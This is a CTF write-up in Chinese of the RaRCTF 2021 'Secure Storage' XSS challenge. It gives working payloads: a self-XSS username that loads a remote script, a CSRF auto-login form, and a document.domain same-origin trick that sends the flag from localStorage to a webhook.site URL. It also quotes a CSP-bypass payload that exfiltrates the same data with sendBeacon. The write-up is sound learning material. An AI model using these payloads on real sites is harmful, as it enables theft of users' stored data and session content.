2021 RaRCTF - Secure Storage(Web) Writeups
關於RaRCTF一題XSS的小筆記
Intro
這次自己參加了RaRCTF,Web除了一題Rust的seccomp bypass沒解掉之外,剩下都解了
Web題很多題目主要是在考驗code review的能力,很讚,但不太知道writeup要寫啥
但其中有一題XSS蠻有趣的,所以筆記一下
題目source code與官方解法
Intended
比賽期間我是用這個解法解掉的,紀錄一下當時我的解題思路
Target
以下是Admin Bot的行為:
const puppeteer = require("puppeteer");
const path = require("path");
let ext = path.resolve(__dirname, "./extension/");
let queue = [];
const addToQueue = (req) => { queue.push(req); return queue.length };
const TIMEOUT = process.env.TIMEOUT ? parseInt(process.env.TIMEOUT) : 4000;
const DELAY = process.env.DELAY ? parseInt(process.env.DELAY) : 500;
const visit = (url) => {
let page, browser;
return new Promise(async (resolve, reject) => {
try {
browser = await puppeteer.launch({
headless: true,
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
'--disable-dev-shm-usage'
],
dumpio: true,
executablePath: process.env.PUPPETEER_EXECUTABLE_PATH
});
page = await browser.newPage();
/* load flag */
await page.goto(process.env.SANDBOX_SITE, {
waitUntil: "networkidle2"
});
await page.evaluate(flag => {
localStorage.message = flag;
}, process.env.FLAG);
await page.goto(url, {
waitUntil: "networkidle2"
});
await page.waitForTimeout(TIMEOUT);
await page.close();
page = null;
} catch (err) {
console.log(err);
} finally {
if (page) await page.close();
if (browser) await browser.close();
resolve();
}
});
};
const loop = async () => {
while (true) {
let url = queue.shift();
if (url) {
console.log("vistiting:", url, queue);
await visit(url);
}
await new Promise((resolve, reject) => setTimeout(resolve, DELAY));
}
};
loop();
module.exports = {
addToQueue
};
所以我們的目標是拿到SANDBOX_SITE
(remote端是https://secureenclave.rars.win/
)的localStorage.message
Challenge Overview
首先先看一下使用者可以做些什麼事:
可以看到在登入https://securestorage.rars.win/
之後會再載入https://secureenclave.rars.win/
這個iframe
而https://securestorage.rars.win/
與iframe溝通的方式是利用postMessage傳一個Array:
chall/public/script.js
window.onload = () => {
let storage = document.getElementById("secure_storage");
let user = document.getElementById("user").innerText;
storage.contentWindow.postMessage(["user", user], storage.src);
};
const changeMsg = () => {
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(["localStorage.message", document.getElementById("message").value], storage.src);
};
const changeColor = () => {
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(["localStorage.color", document.getElementById("color").value], storage.src);
};
而https://secureenclave.rars.win/
這個iframe接收到https://securestorage.rars.win/
的Message之後的處理是:
chall/secure_safe/secure.js
console.log("secure js loaded...");
const z = (s, i, t = window, y = '.') => s.includes(y) ? z(s.substring(s.indexOf(y) + 1), i, t[s.split(y).shift()]) : t[s] = i;
var user = "";
const render = () => {
document.getElementById("user").innerText = user;
document.getElementById("message").innerText = localStorage.message || "None set";
document.getElementById("message").style.color = localStorage.color || "black";
};
window.onmessage = (e) => {
let {
origin,
data
} = e;
if (origin !== document.getElementById("site").innerText || !Array.isArray(data)) return;
z(...data.map(d => `${d}`));
render();
};
可以看到z這個function可以任意寫window下的變數
所以或許可以透過改location.href
或document.body.innerHTML
來XSS,之後彈flag回來
但問題是頁面利用meta tag製作了CSP:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; style-src 'self' https://fonts.googleapis.com/css2; font-src 'self' https://fonts.gstatic.com;">
可以看到用了"default-src 'self'
,所以script-src
在沒有定義的情況下
大概不能用location.href
或document.body.innerHTML
來XSS,但具體能不能繞CSP,等等再研究
除了繞CSP來XSS之外,也可以在SOP允許的情況下,
在另一個頁面放一個https://secureenclave.rars.win/
的iframe,再想辦法把iframe的body彈回來
在分析完題目,基本上要拿flag有兩個方法
-
繞CSP
-
繞SOP
而這兩個方法有個共通點,一定需要postMessage
的幫助,因為sandbox page在沒有外力幫助下不可控
而如果要使用postMessage的任意寫,限制是
origin !== document.getElementById("site").innerText
而document.getElementById("site").innerText
看起不可控,且值為https://securestorage.rars.win
所以首先要想辦法在https://securestorage.rars.win
任意postMessage
Exploit
首先,先要想辦法在https://securestorage.rars.win
XSS,或找辦法執行任意的postMessage
code review完可以發現login的時候有機會self-XSS
chall/index.js
// ...
app.set('view engine', 'hbs');
// ...
chall/routes/api.js
router.post("/login", async (req, res) => {
let { user, pass } = req.body;
if(!user || !pass) {
req.session.error = "Missing username or password";
return res.redirect("/login");
}
if(!users.find(u => u.user === user)) {
req.session.error = "No user exists with that username";
return res.redirect("/login");
}
let entry = users.find(u => u.user === user);
if(!await bcrypt.compare(pass, entry.pass)) {
req.session.error = "Incorrect password";
return res.redirect("/login");
}
req.session.user = user;
req.session.info = `Logged in as ${user} successfully`;
return res.redirect("/home");
});
chall/views/layout.hbs
{{#if info}}
<div class="alert alert-primary container mt-4" role="alert">
{{{info}}}
</div>
{{/if}}
{{#if error}}
<div class="alert alert-danger container mt-4" role="alert">
{{{error}}}
</div>
{{/if}}
所以我們可以通過登入時的req.session.info = `Logged in as ${user} successfully`;
來self-XSS
也就是能將<script src=//your.vps/script.js></script>
作為username註冊
寫一個CSRF登入的頁面,就能製造一個能用的XSS
//your.vps/index.html
<html>
<body>
<form id=x action="https://securestorage.rars.win/api/login" method="POST">
<input type="hidden" name="user" value="<script src=https://secure.lebr0nli.repl.co/script.js></script>" />
<input type="hidden" name="pass" value="aaa" />
</form>
<script>
x.submit();
</script>
</body>
</html>
接下來有兩條路,繞CSP和繞SOP,我最後是利用繞SOP來達成的
由於
https://securestorage.rars.win/
和https://secureenclave.rars.win/
都是rars.win
的subdomain
而每個頁面的document.domain
都能往父級修改,也就是只要我們能控制兩個頁面的document.domain
就能使A.rars.win
與B.rars.win
same origin!
//your.vps/script.js#dirty_code_warning
document.domain = 'rars.win';
var ifr=document.createElement("iframe");
ifr.src="https://secureenclave.rars.win";
ifr.onload=()=>{
top[0].postMessage(["document.domain",'rars.win'],"https://secureenclave.rars.win");
};
document.body.appendChild(ifr);
setTimeout(() => {
location = "https://webhook.site/9312382a-71fc-449f-a057-943b16840bdb/?f="+encodeURIComponent(top[0].document.body.innerHTML)
}, 3000)
get flag!
rarctf{js_god?_the_wh0le_1nternet_1s_y0ur_d0main!!!_60739238}
Unintended
其實這題的CSP是繞的掉的!
出題者給出的payload:
window.addEventListener("load", () => {
let storage = document.getElementById("secure_storage");
storage.contentWindow.postMessage(
[
"document.body.innerHTML",
"<div id=user></div><div id=message></div><div id=site>https://securestorage.rars.win</div><iframe id=frame src='https://secureenclave.rars.win/assets/LICENSE.txt'></iframe>"
]
, "*"
);
setTimeout(() => {
storage.contentWindow.postMessage(
[
"frame.contentWindow.document.body.innerHTML",
"<img src=x onerror='navigator.sendBeacon(webhook, localStorage.message)' />"
]
, "*"
);
}, 1500);
})
原因是這題的CSP是用meta tag來達成,所以其他的頁面並沒有CSP
又因為沒有定義frame-src
所以default-src self
的情況下,可以引入self的iframe
而當A頁面有CSP時,若在A頁面中的iframe中的B頁面沒有CSP
那就能透過B頁面的XSS,來達到繞過CSP!
而這題要怎麼得到一個沒有CSP的B頁面來XSS呢?
就是利用postMessage先將document.body.innerHTML
先寫一個src是asset的頁面
在利用postMessage將xss的payload寫進那個iframe的contentWindow.document.body.innerHTML
!
太妙了!
Summary
很有趣的題目,除了學到document.domain
的trick外
也學到只要能控window下的變數,就有機會能利用改另一個iframe來繞CSP
真的很不錯!